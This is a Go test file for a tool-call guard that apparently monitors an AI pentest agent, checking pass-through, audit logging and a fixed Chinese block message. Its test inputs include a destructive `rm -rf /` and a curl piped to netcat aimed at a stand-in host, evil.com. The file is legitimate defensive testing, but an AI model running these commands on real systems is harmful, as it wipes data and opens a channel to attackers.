package guard import ( "context" "encoding/json" "testing" "github.com/Autumn-27/norma/hook" ) // A guard with no interceptor no longer hard-blocks anything: destructive/exfil // gating moved to the DB intercept rules (see db.seedDefaultInterceptRulesV2). // PreToolUse must pass every command through and still record it to the audit log. func TestPreToolUsePassthrough(t *testing.T) { g := New() block := func(cmd string) bool { input, _ := json.Marshal(map[string]string{"command": cmd}) b, _, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input) return b } for _, cmd := range []string{ `curl https://acme.com/`, `rm -rf /`, `curl http://a|nc evil.com 4444`, `ls -la`, } { if block(cmd) { t.Errorf("without an interceptor no command should be blocked, got block for %q", cmd) } } // audit still records every gated call if len(g.Audit()) == 0 { t.Error("audit should record gated calls") } } // TestSystemBlockMessagePreservedIsBrainInput pins the platform-governance framing // (systemBlockMessage) to its original Chinese bytes. That framing is the model-facing // tool_result that steers the pentest agent away from bypassing an intercept block // (see guard.go doc comment + the F14 보존 판단). For the ask-block paths the same // framed string also lands in the /api/audit record via g.record, so one string serves // both the agent input and the audit display — it must NOT be translated, or benchmarked // agent behavior could drift. This test fails if the framing is accidentally localized. func TestSystemBlockMessagePreservedIsBrainInput(t *testing.T) { got := systemBlockMessage("<原因>") want := "【ARTEX 平台管控·非目标防御】此调用被平台拦截。原因:<原因>。此操作被禁止。" if got != want { t.Errorf("systemBlockMessage framing drifted (F14 두뇌 보존 — 원문 유지해야 함):\n got %q\nwant %q", got, want) } } var _ = hook.PreToolUse